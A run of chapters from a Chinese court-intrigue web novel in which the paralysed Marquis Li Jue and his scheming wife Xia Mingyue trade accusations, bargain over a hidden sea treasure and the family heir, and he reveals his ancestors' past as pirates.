曾几何时的元京贵女、尚书千金、相府嫡亲的外孙女,从一个娇俏活泼、明艳爽朗的闺中女子变成了满眼怨毒的少妇,从李玦情深意笃的青梅竹马,变成了恨不得立刻掐死李玦,她好立刻去当寡妇。 好好的一个端侯府彻底成了一个笑话,也成了元京上上下下眼中的焦点。现在,端侯府想有什么动作,都要面对一大群人的监视,真是想动也动不了了。 而伴随袭爵的还有一道要让李玦好好地待在府中好好休养的圣旨,明确了他既不能前往北疆,也不能前往南疆,以任何名义都不可以。 这彻底杜绝了李玦积攒军功的可能,原本他是瘫了,可若硬要坐着轮椅去哪里运筹帷幄、于后方指挥一番,只要运作得当,一样能捞到点军功,这回算是彻底完了。 李玦变成了一只废了双腿、折了翅膀的笼中鸟,所有人都知道他完了,这当中对此认识最清楚也最直接的就是端侯府内的下人们。 于是,他们开始变得冷漠、势力,甚至开始疏忽懈怠、落井下石,以致于李玦这个侯爷的日子过得连下人都不如,甚至连惠民署里瘫了的老婆婆都不如。 这件事里面最高兴的应该是楚霆孝和夏庸,楚霆孝为的是袭爵的承诺达成了,在李玦那边有了交代,李玦现在刚好瘫了,南疆海上的事无人料理,正好他这个做外祖父的愿意替他出面,可以争取他放权。 夏庸也挺高兴的,虽然他说他和夏家不参与此事了,楚霆孝想着他已经不是兵部尚书了,如今连这侍郎也不知道能当到哪天了。他现在除了是钩翊侯华靖离和端侯李玦的岳丈之外,没有大用了,只要他不把秘密说出去,也就无所谓了。 夏庸看到李玦袭爵,尽管也觉得以后沾不上李玦的光了,可是只要李玦能袭爵,就说明圣上对他还有几分仁慈之心,也就不会因为李玦还是他女婿,就迁怒夏家了。 至此,夏庸彻底放开了手,甚至上了折子,表示自己年纪大了,能力上又与高位不大匹配,愿意辞官或是调任老家卢阳任职。 而夏明月就更别提了,现在这几家里最高兴的人恐怕就是她了,因为整个端侯府都由她做主了。 这侯府里上上下下的人虽说都对李玦失望至极,也知道自己的前程没了,可是只要夏明月还在,哪怕要依靠乔嬷嬷才能把侯府撑起来,也不是不行,就当是在外头富户人家做事算了。 这日,楚氏差人送了两篮子梨到端侯府去,夏明月让人拿了几个,随便用井水冲了冲,就拿了个食盒提着往李玦的院子走去。 第490章互撕假面 一走到屋子没口,还没上台阶,夏明月就闻到屋子里传来一股不大好闻的味道,让她立刻拿起熏了香的帕子掩住口鼻。 这还没老呢,就一股子“老人味儿”,真是恶心、晦气! 夏明月在心里骂道,她能接受的只有风光霁月的端侯世子,不是这个未老先瘫的李玦。而且现在一日一日走向衰败的不止是李玦的样貌,还有他的精神。 从前的李玦意气风发,即便他处于逆境,因为他心里清楚他有着那么大一笔财富,清楚楚、陆、夏三家就是看在这笔财富的份上,私底下也得对他客气着,还得帮他袭爵。 再加上他在外面把各方面的形象都经营得很好,士人、读书人、百姓都敬着他,元京的姑娘、妇人们更是因为他俊逸、高洁的形象将他捧得很高。 这就导致了,细数起来,所有人都知道李玦这些年没干成过一件大事,可就是因为他这形象实在太好了,他跟被人也都没有利益冲突,没人去深究这当中更深一层的原因,就都因为他是怀才不遇,至今未能有什么大作为都是因为受了老端侯的连累和家世衰微,并不是他个人的错。 这种舆论氛围,让李玦自己也产生了错觉,总之就是他这个人是最好的,只要环境改变,他就会如那一直被关在笼中的鸟儿一旦放飞就能振翅高飞、直冲云霄,因此他的心气儿极高。 可就是在一场争吵之后,他竟然成了一个瘫子,昔日那些捧着他的世人,包括楚、夏两家,都在府外,就算还有同情他的,他也听不见。 这府里面的下人反应最为直接,他们原本就跟外头的人不一样,其实除了何夫人,他们才是最了解真正的李玦的人,因为李玦的形象在他们面前破灭的最快,现在的他们已经清楚他们和他们的主子的前程都断了。 而且这些人并不知道老端侯当年把那些海货都藏起来了,这种事也不敢让他们知道,一时间他们对李玦是彻底失望了。 他们能对李玦多好、多耐心? 下人也是人,长时间并且可以预计到要服侍一个瘫子一辈子,就算是亲生儿女,也很难做到始终如一的耐心、细心。 更何况李玦的情况其实比不上老人,老人辛苦了大半辈子,年轻的时候为家里做足了贡献,也给他身边的下人带去了好日子,所发的银钱养活了老仆的一家老小。这些人服侍他、给他养老送终,是带着感恩之情的。 可是李玦还年轻,从前这府里的事儿都是何夫人在管,他只负责读书、营造形象、交由广利再就是吃喝玩乐、谈情说爱,他对这些个下人还没什么恩义。 反而是这些人对他,原本看着长大的小世子,他们都是投入了心血的,端侯府都那样了,他们还尽心尽力地服侍着,哪个不是指望他长大之后袭了爵,才好带着一府上下过上好日子,甚至给他们的子孙放了籍,再给他们谋个差事的? 现在什么都没了,这些人越服侍他越觉得丧气,即便他袭了爵又如何?宫里连件赏赐都没有,这日子就是没盼头了。 如此以来,这些人服侍得也就没多精心了,要不是夏庸和楚氏担心这样下去闹得实在难看,叮嘱了乔嬷嬷至少要让面子上过得去,这些人才不敢出大错,否则李玦现在还不知道过着什么样的日子呢。 夏明月嫌弃地掩着口鼻进了去,一进屋就不管外头是不是寒冬腊月的,直接就把所有的窗子都推了个大开。 寒风吹进来,很快就将屋里的那股异味儿驱散了,只是李玦受不得寒,很快就剧烈地咳嗽起来: “夏明月,你干什么?你是嫌我……死得不够快么?我死了……对你没好处……” 夏明月开窗子的时候手上都垫着帕子,她觉得这地方哪儿哪儿都脏,虽说郎中们都说了这病不传人,可她心里还是膈应: “夫君,你当然不能死了,你现在就死了的话,公公在天上就要骂你不孝了。他老人家拼了命护下来的东西要是就这么没了,要气得闭不上眼了……不不,是气得又要睁开眼了。” 李玦气得浑身发抖,颤颤巍巍地抬起一只手指着夏明月: “我到了今天这地步,都是因为你。那日我从茶肆回来,虽然生气,理智尚存,要不是因为得知你卖了那把斩棘刀,我也不会得了这样的病,变成全元京的笑柄!” 那把刀的确落到了宫中,是太子谢维的亲信买下的,谢维将它献给了当今圣上,而圣上又将此刀赐还给了谢维,以表示父子同心、没有嫌隙。 这件事是在宫里办的,圣上还为此特意办了一场宫宴,当众赞扬了谢维身为储君的光明磊落和孝顺公正。 这件事无论是圣上还是谢维都没有在明面上直接惩处李玦和端侯府私藏前朝皇室圣物的罪过,只是在给李玦传旨袭爵的时候,送了他一把皇城武库里的当朝宝刀和一匹名驹。 刀再锋利,李玦如今已经用不上了,名驹,他现在连榻都下不了,再名贵的马给他也没用。这不是赏赐,完全就是嘲讽。 李玦从前就猜想过,宫里对当年的事并非一无所知,只不过是苦于没有证据而已。 他将那把刀和那匣子彩宝混在一众贺礼里送给华靖离,就是为了嫁祸,如果华靖离把两样东西拿出来了,他就可以设法让圣上怀疑当年的海货和宝藏落在了华家手里。要是华靖离一直不露这些东西,将来他也有法子在关键时刻引导着圣上和太子发现。 只是他万万没想到,华靖离竟然把东西还了回来,而且明明是他送的礼,却没有直接还给他,而是由夏明嫣悄么声地把东西给了夏明月。 李玦根本不相信夏明嫣这么做是出于好心的无意为之,这分明就是算计好的。她算到了夏明月的贪心和对他的不信任,也算准了他的自负和猜疑,在将东西送出后短时间内不会核查,以免有了动作反而打草惊蛇。 可是这又能怪谁,怪就怪在他娶了这么一个又坏又狠的蠢妇,怪他以往认知里的夏明月太好了。 他怎么也没想到堂堂尚书府千金,还是最受宠的嫡女,表面上奢侈、爱玩乐,背地里却是一个如此贪财、市侩的人。 第491章互撕假面(下) 李玦最近经常怀疑自己的过往和对事情的判断能力,他的确没有像表面上表现出来的那样喜欢夏明月,但是也绝对是有感情的。 他挑选妻子也并非完全看家世,也有他对这个人的判断。当初夏家要把夏明嫣嫁过来,他之所选择了邓澜做自己的正室,不仅因为邓家父女掌握着那个秘密,而邓澜又是自己的另一个表妹。 他就是看准了邓澜虽然体弱,却是个通达、明事理还很有韧性的人,这样的人不仅能跟他同甘,更能跟他共苦。尤其等到他功成名就之后,如果他需要另娶高门,她还可以退到他身后,把自己的位子让出来…… 他对夏明月也是看好了的,因为这个女人不仅有能够巩固联盟的家世,还足够爱他,为了他,可以做尽一切不理智的事,还会无条件地相信自己,并且会因此为他回娘家游说到支持。 刚成婚的时候,他还因为这一点而无比自信过,因为那时的夏明月对他满眼都是信任和崇拜,天天都在他耳边说,她相信他将来一定可以出将入相、拜将封王, 她还说他一定能取代华靖离,把华靖离踩在脚下,她也终将夫荣妻贵,将她的嫡长姐夏明嫣踩在脚下。 还有御青书院那件事,虽然是她擅作主张之下自己下的决定,那也是因为她相信他的能力,想给他创造一个出人头地的机会,让所有人都看到他的才华…… 后来一切都变了,这种改变尤其出现在吕家那事儿之后,是因为那个外室子让她伤心了?看着也不像,她的表现更像是在他失利之后的失望。 可是原本那般确信他大有作为的人明明是她,她对他前程的确信甚至比他和何夫人都要深厚,怎么稍有失败她就不确信了? 她明明出身官宦之间,从她的祖父、父亲和外祖父身上理应看到过环海沉浮的轨迹,知道一路行来不会尽是一帆风顺,是定然会有坎坷的,怎么就一点挫折都受不起? 何况在这个过程中,端侯府再是家底薄弱,中馈亏空,也没少了她的花用,她依旧过的是锦衣玉食的日子。 李玦这些日子在最初的惶恐和绝望之后,终于开始冷静地分析之前发生的一切,在别的事儿上,他都想明白了许多,唯独对于夏明月如此巨大、迅速的转变,他百思不得其解。 唯一的解释就是夏明月原本对他就没有多少真心,她是一个只能共富贵、不能共患难的人,稍微遇到一点挫折,哪怕这挫折还没能影响到她呢,她便要不乐意了。 而这样的一个人,也几乎一定是欺软怕硬还贪得无厌的。以他如今这般情形,他对端侯府和整个局势的控制会越来越弱,而夏明月的不满也会逐步增加,现在他根本反抗不得,要不赶紧想想法子自保,恐怕迟早会死在她手里。 李玦最近被郎中们轮番诊治,甚至连蛊医之术都用上了,别的病症倒是没有大的好转,只是稳定住了,唯一好转最多的就是说话。 他现在说话虽然要费很大的力气,但已经可以连续了,也不大影响表意,他抬手指了指夏明月道: “那件事已经捅到了宫里,你是我的正室妻子,刀也是经你手卖出去的,你以为宫里不知道这些?你这般对我落井下石,难道就不怕日后宫里也来处置你?” 夏明月冷笑了一下,随即恼怒地道:“处置我?呵,我一个无知妇孺,才嫁进你们端侯府几天,我能知道什么?不过是受人蒙蔽而已。蒙蔽我的人除了华靖离和夏明嫣,剩下的就是你了。” “当然了,这两样东西在华家没待多久就被送了出来,他们也可以推说不清楚这当中的内情。反倒是你,推脱不了。你想说自己不知情,说你没有存心想要陷害他们,有人信么?还是担心一下你自己吧。” 那么多的贺礼一股脑地送进去,当时华靖离还处在一种随时都可能撒手人寰的状态,谁能想到在那种情况下他们竟然注意到了这份贺礼,还几乎立刻做出了处置。 李玦眼中升腾起一层怒气:“人算不如天算,可要想成就大事,磕磕绊绊是少不了的,只遇到一点不顺意的地方你便如此对我。” “你可别忘了,要是我现在有个三长两短的,凭你现在的名声,外面会不会有人说你谋害亲夫呢?这里毕竟是端侯府,我如今袭了爵,再是个瘫子,也是堂堂正正的端侯。” “即使死得窝囊,鱼死网破,坐实你罪名的本事还是有的。你改嫁不了旁人,就得在府里守着。你说我留下了那么多秘密,宫里的人会不会都来找你清算?” 要是他死了,圣上会去找楚霆孝和夏庸,但也一定不会放过夏明月。就算还会留着她钓出背后的大鱼,她后半辈子也别想好过。 “李玦,没想到你是这样的人!好啊,要翻脸是吧?你说我是毒妇,那是被谁逼的?还不是你!” 夏明月脸色一变,很快就冷静了下来,她最近也长进了一些,不像以前那般容易冲动了,她笑得有些瘆人的道, “夫君,阿玦哥哥,你跟婆母从聘礼开始就在把我当作无知孩童哄骗,也一样对不住我啊。即便我进了门,你们也没对我说过一句实话。当然了,你一定会说,我家里不也一样瞒着我,可他们是为了我好,才不想让我知道太多。你呢,你又是为了什么?” 她顿了顿,“你是担心我拿走了你的东西,不想跟我分享,只想拿那仨瓜俩枣打发我。呵呵,你既然这样对我,在我为你动用楚家的人脉争取进入御青书院的时候,你怎么就不反对到底呢?” “从这一点上来说,你还不如婆母。她不满我瞒着她撺掇你去走文官入仕的路,她就反对到底了,不像你这般虚伪。说起来也是,吕家那事儿她再如何可恨,也是在为你这个做儿子的善后,真正可恶、可恨的还是你啊。” “夏明月!男子三妻四妾有什么错?未成婚之前,你我相交之时我就与你说过,我端侯府要成事,定然需要许多的助力,我不可能只娶你一个,当时你也是答应了的。”李玦怒道。 何况吕大姑娘的事发生在成婚之前,如今那孩子接回来也不过是给了一个嬷嬷和一个粗使丫鬟照顾着罢了,管家儿子过的日子都比他体面。 第492章疯夫癫妇 夏明月从前的确是答应了的,她回想着为什么两世以来都会答应,很快就有了答案。 上一世她正常过日子,这一世她答应他时也没有重生,这两个时候她都还在以为李玦会前途无量,她自己的父亲就有两任妻子和好几个妾室,她也就没那么排斥这些了。 关键还是她那时候都坚信那些个女人就是个给爷们解闷儿的玩意儿,就算生下了子嗣,那也都是证明她贤良大度、能容人的工具,那些个女人和孩子没有一个能动摇她的地位。 她也了解李玦,知道他对她虽好,却不可能放开外头的那些花花草草。而且她自己也是一样的性子,要是未免瞧见了英俊的少年郎,也想要多看几眼,办场赏花宴叫上他们一同玩乐、饮酒……这种事儿都是相互的,他玩儿,她也可以。 可是,想是一回事,实际发生之后又是一回事。 上一世她在家庙里,得知李玦纳了一个又一个,心里也是恨过的,只不过后来她当上了端王妃,没有为李玦做什么就捡了个大便宜,她便不好明着计较什么了。 就算是杀了夏明嫣,她也并非以嫉妒的名义动的手,而是说华靖离的事能少一人知道便少一人,在华靖离死前,夏明嫣是给华靖离诊过脉的,与其让她哪天想起这件事了,或是跟他不和了,拿这件事出来说事儿,不如早点处置了夏明嫣。 而这一世,她一开始就嫁给了李玦,她还以为李玦会有所改变,没想到他纳何雨萍的时间还比前世早了,这还不算,居然外头还有一个外室子,还闹出来了。 要是李玦还似从前那般俊朗还风风光光地袭了爵也就罢了,他成了这副样子,连带着她的前程也没了,她还如何能忍。 夏明月嘴角噙着冷笑看着李玦:“是,我是答应过你,可你说的是为了得到助力才会纳别的女子为贵妾。何小娘也就罢了,她是婆母的侄女,何家也算有用,我拦不住。” “可那吕大姑娘算个什么东西?一个贱人,她也能给你助力不成,还弄出个孩子来恶心我,现在好了,他成了庶长子了,更动不得了是不是?” “你从前为了哄我答应,还哄我说,有人青睐我是再正常不过的事,要是有那爱慕我颜色的少年郎亲近于我,你也不会介意。可是后来呢,你要让我去笼络孙公子,结果我笼络住了他,你又不高兴了,觉得我给你丢人了?” 孙允斌再落魄也出身后族,骨子里有着一股傲气,不是拿钱财就能笼络住的,要给他官位,李玦又暂时给不了,便只能在女人身上打主意。 但要只是给孙允斌一个寻常女子,将来被人再给他一个更美的也一样能取代,只有让他碰了这个女子,就有把柄握在自己手上才行,李玦这才想到了用夏明月做这步棋。 毕竟有什么比跟未来的端侯夫人、夏家嫡次女、楚相外孙女有了私情更大的把柄呢? 可是李玦心里又有一种会做这种事儿的男人惯有的天真和无耻,或者说掩耳盗铃似的装模作样,他希望夏明月既能笼络住孙允斌,又能不跟孙允斌发生那种事,最好只用一些高明又干净的手段。 李玦被夏明月当面质问、挖苦,脸面上立刻就下不来了,他顾不得自己的病况,恼羞成怒地道: “你……你还有脸说?我只让你去说服他,可没让你做别的。是你自己恬不知耻,动了那样的心思。好在孙允斌是个清正君子,否则你是不是就要自己扑上去了?” “你这个贱妇自己扑上去,还要怪我?你看看你长姐还有华家姑娘怎么就跟他什么都没发生?那还是他主动送上门去的。到了你这儿,他敬着你世子夫人的身份,你竟然还能对他动那种心思。” 夏明月咂了咂嘴,先是故作惊讶地看了李玦几眼,然后大笑出声: “夫君,你可真有意思。你让我去说服孙公子,我是学富五车,还是能给他前程、财富?我根本没有这些,我能拿什么收拢他?你不要装傻、装想不到,不需要我用女人的手段收拢他,你为什么要让我去呢?” “现在知道装无辜了,你要是真想用你那些正大光明的手段,你派个门客去,再不行,让管家去,或是你去寻个孙家的族人来好生拉拢,再由他去……哪个不行?你之所以让我去,不就是想让我去做那种被窝里的事么?” “李玦啊李玦,你不仅无耻,你还虚伪,你就是一个伪君子,难怪你会一败涂地!就算是上……” 她想说说他的上辈子,可她想起了楚氏那天提醒她的话,她已经声名狼藉了,不能再被人说成是疯子或是妖邪。 她换了一套说辞,厉声道,“你一定后悔娶我了吧?也许你是该后悔的,如果你娶的是夏明嫣,即便你将她贬妻为妾,她也是个耐得住性子的,能够助你直上青云。” “可那又如何?祖父给我们三家定下婚约的时候并没有说死,也就是说我们有可能嫁给你们两个中的任何一个,她那样的人,就算嫁给了你,将来也会后悔的。” “你这样的人,用人的时候什么都好,一旦这个人没用了,你不会管她在前头为你做了什么,你只弃她如敝履。我怎么早没看出来你是这样的人,李玦,你给我等着,我不会放过你!” 楚氏那天的话着实一针见血,当年李玦放任她勒死了夏明嫣,既借着让她泄愤,让她愿意死心塌地跟着他,帮助她,实际上也把她谋害他继室的把柄握在了手里。 那一世的夏明嫣没少结善缘,在南疆时,华家军和李家军的将士许多都受过她的恩惠,用过她配的药,哪天李玦用不上她了,就可以用这个大巴并将她拉下来。 那时候他娶她,也至少不全是为了跟她破镜重圆,她最近想了想,应该是因为那会儿楚霆孝还强撑着身子撑着楚家,还掌控着大局。 他想要像鲸吞华家那样再蚕食了楚家,等到楚家衰败了,她也就没用了吧?可怜她还一直想跟他重新开始,从一开始就在一起弥补遗憾,结果她跟夏明嫣也没有太大区别。 唯一的区别大概就是夏明嫣是被她勒死的,而她,死得既突然又莫名其妙,没准儿就是被他毒死的! 在夏明月几近喷火的目光注视下,李玦却被气笑了,他现在都觉得他自己娶的是一个疯子,总是说这些莫名其妙的话。 还说什么如果是夏明嫣嫁给了她,这世上哪儿有那么多如果? 第493章你该盼着我们父子活着 李玦恶狠狠地瞪着夏明月:“你要发疯就自己疯去,别拖我下水,还如果我娶的是姨姐。朋友妻不可欺,何况我跟华靖离曾经还是义兄弟,现在还是连襟。这种话传出去,你是不是还想把我刚到手的爵位丢了?” “让人误会我对姨姐有意,你脸上就能光彩了?夏明月,我怎么以前没看出来你竟然如此蠢钝……好,就算有这个如果,我娶的是姨姐,我现在何至于此,我现在都该在北疆大营历练了。” “夏明月,你给我听着,事已至此,我们已经回不到从前了,你到底想怎么样,有话就说,别再动歪心思,将来成了事还能分你一部分。” “歪心思,你指的是谁?是你还是那个下贱种子?” 夏明月看着他,很是有恃无恐地道,“夫君,你放心,这端侯夫人我做得甚好,要是你的病情哪天恶化了,我一定会比我长姐救治华侯还用心地救治你的。” “我从前是冲动了些,可我不是傻子,你活着,我得到的利益才最大。你要是死了,咱们府上的那些东西,单靠我一个妇道人家是守不住的,迟早得被楚、陆两家瓜分了。” 楚霆孝再宠她,她也只是一个已经外嫁了的外孙女,要是李玦死了,夏家也已经主动出局,那些东西都得落在楚、陆两家手里,到时候最多就是给她一个衣食无忧的富贵生活,那可不是她想要的。 但只要李玦活着,他就是在陛下面前、在朝堂上有名有幸的端侯,除非圣上亲自授意,否则谁也不能让他无声无息地消失,那么使用那些宝藏的主动权至少还能掌握在他们手里。 经过几日的盘算,夏明月已经确定了自己的目标,她现在也不好高骛远了。 要么她就咬死了跟楚家人在一起,要是大事能成,想来她捞个郡主当当总不成问题。当了郡主之后,她也不要大的权利,只要在封地上她能说了算就行。 李玦到时候爱去哪儿去哪儿,他要是听话,她也可以弄座别院养着他,给他买几个美婢服侍着他。 至于她,她自然是要去享受生活的,上辈子她净关家庙、守活寡了,一共也没做几天真正的女人。这辈子她说什么也得享受享受那种日子,男子可以纳妾,她身为郡主有个面首又怎么了。 要不然还有一条路,就是她跟孙允斌联手,先把海藏取出来,之后把给楚、陆两家的分出去,剩下的都归她所有,由她来经营。 她有这么大一笔财富在手,将来就算她没有郡主的封位,就只是经营一方土地,都能舒舒服服地过她的日子,与那些割据一方的诸侯无二,那样的日子对她来说也是有如神仙了。 她冷笑了一下,“你之所以成了这副模样,还是要怪你自己。就算没有我,等你去了北疆,等你的李家军一步步地壮大,大家还能都顺着你的意不成,早晚有人要跟你对着干,你还不一样得把自己气中毒了?” “自己气量狭小,还要把过错都推到我一个女人身上,你还是不是个男人?罢了,算我看错了人,你也还有点用,就像刚才说的,你要是乖乖听话,好好当你的端侯,咱们一起把海藏的东西拿出来就罢了。” “我也不会把事情做绝,总有口富贵饭给你吃,也少不了人服侍你。你要是想再纳几个妾,哪怕对你来说已经没用了,就是摆着看看,也由得你。不过那个孩子,除了给他口饭吃,让他活着当个摆设,别的你就别想了,我宁愿过继一个也不会让他继承这端侯府……” 那个孩子接回府里之后,她就只远远地见过一次,她根本不屑于多看那孩子一眼。 不过,乔嬷嬷对那个孩子盯得很紧,生怕她对他做出什么。这倒不是说楚氏和乔嬷嬷多在意这孩子,她们只不过是不想再在这件事上惹出什么事端了。 要是这孩子有个三长两短,以夏明月现在的出名程度,宫里的皇后娘娘定会过问此事,到时候至少华家和楚氏也要受到牵连。 更关键的是,一旦端侯府的现任主母被拿下了,端侯府一下子两代主母都出了问题,这就被人抓住机会了,派人进府来查甚至之后都一直派了人在府中监管都使得,许多秘密就藏不住了。 因此这孩子必须全须全尾地活着,然后在教养和身子状况上暗中做手脚,就像当初对夏明嫣那样,要不然夏明月才不会答应这么做呢。 可是,她也想得很清楚,这已经是她最大限度的让步了。这孩子别想有前途,就算继承家业和庶产也不成,等年纪再大点儿就远远地打发了。 她将来要么过继子嗣,要么找个机会偷着生一个,然后把身世和人证都安排好了,把自己的孩子当作孤儿再收作养子,之后让她自己的孩子继承一切。 李玦的脸色变得更加苍白,他清楚夏明月是顾忌着她自己的名声和前程才暂时答应这城下之盟的,如果将来事情顺利,对那个孩子,夏明月一定不会像现在这般克制。 他这副样子以后怕是很难直接出面做什么了,若是事成,坐大的定然是楚、陆两家,夏明月有了楚家的势力做依靠,眼下的事也事过境迁,她哪里还会容得下这根眼中钉。 李玦颤抖着声音地道:“明月,我们好歹夫妻一场,我这身子……以后恐怕难再有子嗣,我就只有这么一个孩子了,虽说他出身低微,即便我还好好的,他也很难继承我端侯府的爵位。” “可你也不能不让他读书、习武,把他养成一个废物,将来什么都不给他。你想要那笔海藏,不是不可以,你我之间只要还是夫妻,里面的东西就有你一份。” “可你也定然知道了,这份海藏之所以能够存在,并非依靠我端侯府一己之力,而是几家合力的结果,因此这些海藏之物,之后也需要几家共同分享。” “别看这海藏原本就应该我们端侯府占大头,我现在这副样子,在这中间又难立寸功,将来怕是难了……所以明月啊,就算不为了昔日的情分,你也该盼望着我们父子能够活着,让这笔海藏始终都有主人。然后,我们合作吧……” 第494章困兽的妥协 “合作?”夏明月诧异地道。 初听觉得诧异,她稍微仔细一想就能理解了,很多事李玦现在没办法亲自出面去做,要想让他委派的人进府,也得通过她。 要是她不松口,那暗中的人也一定有能进来的,但什么时候能进来,能不能想进的时候就能进来,那可就不一定了。 而且,既然他已经是端侯了,很多必要的场合,她这个端侯夫人都是要列席的。 她一个妇道人家,要是破罐子破摔,到处说点似是而非的话。她最多就是名声更不好听一点,他可就不一定了,要是暗处的那些事儿惹了宫里怀疑,没准儿都能把他下了大狱去, “你别欺负我不懂那些事儿,那些海藏说是你们端侯府的,其实起家的本钱是掏空了大恒几个府库才得来的。要说这些东西是朝廷的、是皇家的,一点儿问题都没有。” “你要跟我合作,我是替你担着风险的,你可不能什么都不给我,就让我吃亏。还有,刚才说的那件事儿,这端侯府的继人必须出自我腹中……” 李玦愣了一下才反应过来,直接就被气笑了:“出自你腹中……夏明月,你无耻,我已经这副模样了,你还能愿意跟我行夫妻之礼,愿意跟我生儿育女?你这是要找外头的男人生孩子。” “呦,这时候知道生气了?不然你想要谁当继人?过继族里的子弟,那也不是你亲生的,还是想着你那个‘庶子’?” 夏明月刻意在“庶子”两个字上加重了语气,谁都知道这当中的底细,那就不是个正经的庶子, “大恒律例规定无大功之庶子袭爵要降等,就算将来你们成了事了,一个连外室子都不算的庶子袭了爵,生母还在那种地方待过,即便没进过那种地方,也不过是个小商贾家的女儿,说出去可有脸面在?” “与其过继一个,倒不如我生一个,至少跟我血脉相连,我跟你之间有名分,也还是有些情谊在的,这孩子将来也不会不管你。” “你也别觉得我无耻,这孩子要不是我生的,我帮你办了那么多的事儿,到时候这端侯府成了别人的了,我怎么办?你也可以再想想,要是没有我配合你,你那些海藏能不能拿出来都不一定。要是拿不出来,或是落到别人手里了,谁还耐烦当这端侯府的继人?” 不得不说夏明月成长了许多,她开始放弃那些诸如情爱和虚名这种虚无缥缈的东西,她要的是实实在在的利益。 她说的也很有道理,那些海藏要是最终不能落到他们手里,不仅他们筹谋已久的大事会成为泡影,就是他们在陛下眼中也会失去价值。 老端侯当年做的那件事早就在陛下手里留了把柄,之所以这些年没彻底夺了端侯府的爵位,就是想要确定那些海藏宝藏还在,尤其是还能找到,而端侯府和楚、陆、夏三家就是在这样的夹缝里生存和筹划大事的。 整个事情就像是一架天秤,一边是圣上和朝廷,一边是这四家,谁先动一下,这架天秤就会发生倾斜。 如果海藏确定拿不出来了,或是落到别人手里了,李玦又连门儿都出不了了,端侯府不仅要在这四家之中失去价值,就是在陛下和朝廷眼中也会失去价值。 说难听点,尽管陛下让人盯着他们不是一件好事,可是作为一个侯爷,又在元京,要是都没有人盯着他、关注他的举动,那也是一件挺可悲的事。 毕竟那些功名利禄多的人,都是些能干大事的,有这样的本事就少不得会被上头关注,要是没人关注,那就是在说这人掀不起大浪。 这是元京,是朝堂,是一个弱肉强食、优胜劣汰的斗兽场,谁是那个没本事的,谁就好欺负,更何况现成的把柄一直都在陛下手里握着,人家以前是出于别的目的故意不追究,后面要想追究也是理所当然的事。 到时候别说爵位了,命能不能保得住都不好说,有没有继人,又有什么用?继承他们危难重重和性命不保么? 所以,一切的打算都有一个前提,就是他们四家谋划多年的事能够干成,而李玦要是失去了夏明月和楚家的支持,根本什么都得不到。 李玦已经成这样了,给不了夏明月想要的情爱,连昔日那些李玦身为冠玉公子和她的丈夫所能带给她的脸面和艳羡如今也消散了,他想让夏明月配合他,还要盯着端侯府里上上下下的情况,让府里的人把他服侍好了,总得给她点儿什么吧? 这种情况下,最好的安排就是这继人由夏明月自己决定。 只是她想出的这种方式已经超出了由她决定,要是她真生一个别人的孩子出来,对李玦的确是一种极大的羞辱。 可是李玦现在已经瘫了,他还想要前程的话,他就得忍受这种羞辱。因为他要是忍了,他还有希望做一个瘫了却富有的端王,他要是现在就忍不了了,大概会被夏明月联合楚霆孝彻底软禁起来。 要真是那样,楚霆孝逼问出了他知道的东西,自己去找海藏宝藏。端侯府暗中的人手见自家主子成了一个无用的瘫子,也倒戈成了楚霆孝的人,那么他大概就连活着的价值都没有了。 这人活着也有不同的活法,就算是瘫子也有被服侍得体面、舒服的,可要是他彻底成了弃子,怕是要被关进阴暗潮湿的暗室里裹着破棉被过日子了。 李玦心里怒火滔天,可是他太清楚现在自己在府里孤立无援的状态了,他盖在被子下面的手抓紧了中衣: “好,不就是一个继人么?我都成这副样子了,能把我自己活好就成了。不过这些海藏不止是我们端侯府一家的,也不全是我们四家的。都到了这般田地了,我也不瞒你。” “当年这件事在一开始的时候只是我们一家的主意,你们其他三家并不知情。是后来事情兜不住了,你的外祖父也发现了端倪,才找上了我们一同谋划的。” “整件事里,我们李家的人付出最多,许多人都丢了命……继人的事我可以答应你,只不过你得答应我两个条件。” 李玦冷笑着看着夏明月,他当然不想答应夏明月的要求,这件事就算要谈,他也该跟能对大局做主的楚霆孝谈。 可这件事麻烦就麻烦在,楚霆孝能做主不假,可楚霆孝不会也不可能天天在端侯府看着他和这一干下人。 他现在这般情况,要想让自己的日子过得舒坦点,还得靠身边的人。而府里的这些人,的确由夏明月掌管最为合适。 第495章海藏的由来 李玦现在要活下去,必须得在圣上眼中还有价值,还得在这三四家之中保留财权的主动权的同时,做出一些妥协和退让,让他们得到比预想更多的利益,当然也要为他和端侯府做更多的事。 这样才能继续撑开那条“夹缝”,让他自己和李家的族人能有活路,或者说是一条安稳、富贵的活路。 他得尽量把利益握在手里,才有本钱跟这三家谈,跟圣上和朝廷谈,他才能带着这一族的人走下去…… 李玦说起了当年之事的来龙去脉:“我的太曾祖父名义上是渔民出身,是南疆海域一带最大的渔户,也是前朝时管着这些渔户的人中最大的一个乡绅。实际上到了休渔的时候,他跟他的父亲都会去远海做一件见不得光的事……” 原来李玦祖上并非真正的渔户,确切的说渔户的身份只是一种掩护,他们真正的身份是海匪。 只不过前朝渔户的生计比现在还要艰难许多,他们是海匪的头,那些个在明面上受他们管束的渔民好些个也在暗中跟他们一起做海匪。 只不过因为他们要求所有跟着他们干的人都学了外邦话,他们也不抢前朝的渔户和商船,因此前朝朝廷和当地府衙一直以为他们是前面一代遗留在外的一支和外邦小国人结合生下的孩子。 无论如何,前朝在海上的战力薄弱,只要他们不欺负自家百姓,也就默认了这股海匪不是自己人,睁一只眼闭一只眼地也就过去。 再说了,茫茫大海,那附近又有大大小小许多的岛屿,跑的时候,找个地方一躲,朝廷也不可能满大海的去抓他们。 之后的事还真就是巧了,前朝末年乱起来的时候,为了打压几支义军,朝廷大量招募人马,海上的倒是没有征兆,可是管理南疆沿海的步军直接扩初了当初两倍的人马。 这就导致了当时渔户家的男丁,五十以下的,只要是没有缺胳膊少腿的,都得被编入前朝新军。 如果他们不回去,不愿意被编入这新君,往轻了说,他们犯了律法,以后都得做逃犯,往重了说,要是让前朝朝廷发现他们就是那股海匪,他们倒还跑得了,可是岸上的家人、亲族可就全完了。 当时,李家老祖做出了一个大胆而改变家族命运的决定——上岸,投军,洗清过往的罪责和嫌疑…… 而且那几年海上的风浪多,他们做海匪已经没有多少前途了,还可能随时死于风浪之中,葬身鱼腹,还不如奔个新前程。 他们的运气也的确不错,因为前朝朝廷要把原本的兵将往中原调度,之后让新征兆上来的这些人留在当地驻守,这恰恰意外给李家老祖他们提供了方便。 他们不仅以统领之身成为了当时实际意义上的南疆王,还因为远在南疆,直接避开了早期跟义军也就是后来的大恒王军的冲突,并且在后期弃暗投明,或者确切地说是识时务者为俊杰,他们支持了大恒王军,也因此有了从龙之功。 